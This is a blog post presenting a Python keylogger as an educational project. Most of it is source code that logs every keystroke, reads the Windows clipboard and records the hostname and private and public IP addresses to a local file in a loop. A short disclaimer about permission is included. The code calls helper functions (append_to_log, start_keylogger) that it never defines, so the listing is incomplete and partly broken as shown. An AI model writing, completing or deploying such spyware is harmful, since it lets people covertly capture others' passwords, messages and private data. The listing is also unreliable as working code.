Building a Python Keylogger for Educational Purposes

In this post, I’ll walk you through a Python keylogger project designed for educational and ethical purposes, demonstrating how key data like keystrokes, clipboard content, and system information can be captured on a local machine. The project illustrates concepts like multithreading, data logging, and system monitoring, all while being mindful of the importance of ethical boundaries and legal compliance.

Disclaimer: Keyloggers and data-monitoring tools should only be used in controlled environments and with explicit permission. Using them without authorization is illegal and unethical.

Project Overview

The keylogger I developed captures keystrokes, clipboard data, and system information, consolidating them into a single log file for easy analysis. This kind of data capture can help demonstrate potential security vulnerabilities and the types of information that might be exposed if a system is compromised.

The keylogger operates as follows:

  • Keystroke Logging: Tracks every keystroke typed by the user.
  • Clipboard Monitoring: Captures any data copied to the clipboard.
  • System Information Gathering: Collects details about the system, including IP addresses and machine specifications.
  • Data Logging: All captured data is stored in a single text file for easy access and analysis.
  • Multithreading: The keylogger operates in a multithreaded environment, ensuring it can run concurrently with other processes without interruptions.

Key Features of the Code

1. Keystroke Logging

This feature captures every key pressed by the user and logs it into a file. It uses the pynput library to listen for keyboard events in real-time.

2. Clipboard Monitoring

The clipboard function captures any text copied by the user. It accesses the system clipboard using the win32clipboard module.

3. System Information Collection

This function captures system information like hostname, IP addresses, and machine details. This data helps identify the system in a network.

4. Multithreading

The keylogger uses Python’s threading module to run multiple tasks (keylogging, clipboard monitoring) simultaneously.

Code Walkthrough

import socket
import platform
import requests
import win32clipboard
from pynput.keyboard import Key, Listener
import os
import threading
import time

# Directory Setup
file_path = r"C:\Users\User_name\PycharmProjects\Python_keylogger"
extend = "\\"
all_data_file = "all_data.txt"

if not os.path.exists(file_path):
    os.makedirs(file_path)
    print(f"[DEBUG] Created directory at {file_path}")

# Keystroke Logging
def on_press(key):
    try:
        k = str(key).replace("'", "")
        formatted_key = k + "\n" if k.find("Key") == -1 else ""
        append_to_log("Keystroke: " + formatted_key)
    except Exception as e:
        print(f"Error logging key: {e}")

# Clipboard Capture
def copy_clipboard():
    try:
        win32clipboard.OpenClipboard()
        pasted_data = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        append_to_log("Clipboard Data: " + pasted_data)
    except Exception as e:
        print(f"Error copying clipboard: {e}")

# System Information Collection
def computer_information():
    try:
        hostname = socket.gethostname()
        IPAddr = socket.gethostbyname(hostname)
        public_ip = requests.get("https://api.ipify.org").text
        system_info = f"Hostname: {hostname}\nPrivate IP Address: {IPAddr}\nPublic IP Address: {public_ip}\n"
        system_info += f"Processor: {platform.processor()}\nSystem: {platform.system()} {platform.version()}\nMachine: {platform.machine()}"
        append_to_log("System Information:\n" + system_info)
    except Exception as e:
        print(f"Error gathering system information: {e}")

# Running the Keylogger
def main():
    print("[DEBUG] Running keylogger...")
    keylogger_thread = threading.Thread(target=start_keylogger)
    keylogger_thread.start()

    try:
        while True:
            copy_clipboard()
            computer_information()
            time.sleep(60)
    except KeyboardInterrupt:
        print("[DEBUG] Keylogger shutdown initiated...")

    finally:
        global running
        running = False
        keylogger_thread.join()
        print("[DEBUG] Keylogger has been stopped.")

Ethical Considerations

Always use keyloggers and monitoring tools ethically, ensuring you have permission and are compliant with laws.

Conclusion

This keylogger project shows how easy it is to monitor keystrokes, clipboard content, and system data using Python. The script demonstrates multithreading and real-time monitoring.

© 2024 Ricardo's Site. All rights reserved.